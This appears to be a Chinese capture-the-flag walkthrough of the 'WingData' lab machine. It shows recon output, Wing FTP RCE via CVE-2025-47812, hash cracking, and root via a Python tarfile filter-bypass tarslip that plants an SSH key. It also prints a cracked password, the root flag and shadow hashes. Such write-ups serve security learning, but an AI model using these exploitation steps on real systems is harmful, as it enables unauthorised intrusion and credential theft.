[Season10] WingData WP

Recon

nmap

1
2
3
4
5
6
7
PORT   STATE SERVICE REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.66
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Did not follow redirect to http://wingdata.htb/

vhost

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@cloudcone ~/workspace# ffuf -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http:
//wingdata.htb -H "Host: FUZZ.wingdata.htb" -fc 301

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://wingdata.htb
:: Wordlist : FUZZ: /root/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.wingdata.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 301
________________________________________________

ftp [Status: 200, Size: 678, Words: 44, Lines: 10, Duration: 149ms]

Web-Wing FTP Server

CVE-2025-47812 RCE

查看 web 应用是一个 Wing FTP Server v7.4.3 受到 CVE-2025-47812 影响

利用 4m3rr0r/CVE-2025-47812-poc: Wing FTP Server Remote Code Execution (RCE) Exploit (CVE-2025-47812) 拿 shell

主机信息收集

收集密码 hash

1
2
3
4
5
6
7
grep -r "<Password>" /opt/wftpserver/Data/
/opt/wftpserver/Data/_ADMINISTRATOR/admins.xml: <Password>a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba</Password>
/opt/wftpserver/Data/1/users/maria.xml: <Password>a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03</Password>
/opt/wftpserver/Data/1/users/steve.xml: <Password>5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca</Password>
/opt/wftpserver/Data/1/users/wacky.xml: <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
/opt/wftpserver/Data/1/users/anonymous.xml: <Password>d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca</Password>
/opt/wftpserver/Data/1/users/john.xml: <Password>c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10</Password>

这里 hash 算法是 sha256(pass. salt),默认的 salt 是 WingFTP

用 Hashcat 爆破一下, wacky 的 hash 是能爆出来的,也是主机上存在的用户

1
2
echo "32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP" > hash.txt
hashcat -m 1410 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

提权

ssh 登录 wacky:!#7Blushing^*Bride5

查看能 sudo 执行的命令

1
2
3
4
5
6
7
wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

查看 /opt/backup_clients/restore_backup_clients.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
wacky@wingdata:~$ cat /opt/backup_clients/restore_backup_clients.py
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
if not re.fullmatch(r"^backup_\d+\.tar$", filename):
return False
client_id = filename.split('_')[1].rstrip('.tar')
return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
parser = argparse.ArgumentParser(
description="Restore client configuration from a validated backup tarball.",
epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
)
parser.add_argument(
"-b", "--backup",
required=True,
help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
"where <client_id> is a positive integer, e.g., backup_1001.tar)"
)
parser.add_argument(
"-r", "--restore-dir",
required=True,
help="Staging directory name for the restore operation. "
"Must follow the format: restore_<client_user> (e.g., restore_john). "
"Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
)

args = parser.parse_args()

if not validate_backup_name(args.backup):
print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
sys.exit(1)

backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
if not os.path.isfile(backup_path):
print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
sys.exit(1)

if not args.restore_dir.startswith("restore_"):
print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
sys.exit(1)

tag = args.restore_dir[8:]
if not tag:
print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
sys.exit(1)

if not validate_restore_tag(tag):
print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
sys.exit(1)

staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
print(f"[+] Backup: {args.backup}")
print(f"[+] Staging directory: {staging_dir}")

os.makedirs(staging_dir, exist_ok=True)

try:
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
print(f"[+] Extraction completed in {staging_dir}")
except (tarfile.TarError, OSError, Exception) as e:
print(f"[!] Error during extraction: {e}", file=sys.stderr)
sys.exit(2)

if __name__ == "__main__":
main()

看一下 python 版本

1
2
wacky@wingdata:~$ python3 -V
Python 3.12.3

CVE-2025-4517 可以绕过 filter="data",实现 tarslip,我们可以利用这个漏洞写 ssh key 来提权

利用 DesertDemons/CVE-2025-4138-4517-POC: CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX Symlink Filter Bypass 创建恶意的 tar 包

1
2
3
4
5
ssh-keygen -t ed25519 -f evil -N ""
python3 exploit.py --preset ssh-key --payload evil.pub --tar-out ./evil.tar
# 靶机上下载 evil.tar
cp evil.tar /opt/backup_clients/backups/backup_1001.tar
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1001.tar -r restore_1001

登录

1
2
3
4
ssh root@$IP -i evil

root@wingdata:~# cat root.txt
9c538db860de6f781337c8b65e49dbbd

Hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root:$y$j9T$o4QbpI9MXymg8tQSz73eq0$c1P1OfnBDpSlaHX8xmPTekraDfdl8gj5Xtghz.E5V3A:20394:0:99999:7:::
daemon:*:20394:0:99999:7:::
bin:*:20394:0:99999:7:::
sys:*:20394:0:99999:7:::
sync:*:20394:0:99999:7:::
games:*:20394:0:99999:7:::
man:*:20394:0:99999:7:::
lp:*:20394:0:99999:7:::
mail:*:20394:0:99999:7:::
news:*:20394:0:99999:7:::
uucp:*:20394:0:99999:7:::
proxy:*:20394:0:99999:7:::
www-data:*:20394:0:99999:7:::
backup:*:20394:0:99999:7:::
list:*:20394:0:99999:7:::
irc:*:20394:0:99999:7:::
_apt:*:20394:0:99999:7:::
nobody:*:20394:0:99999:7:::
systemd-network:!*:20394::::::
systemd-timesync:!*:20394::::::
messagebus:!:20394::::::
sshd:!:20394::::::
wingftp:$y$j9T$s62DxCZf.Aqw9qUCF7Fk10$BcBVlkDD7Rm3kpB.jyIWh9o0GvF.cmke6npe25ZnVv1:20394:0:99999:7:::
wacky:$y$j9T$kF5P9XjuPO85qZb/h5hff1$oiwH5i/tHgA4u2FBN/OJJtUO.UMzhfQckEycEPAdQM0:20395:0:99999:7:::
_laurel:!:20475::::::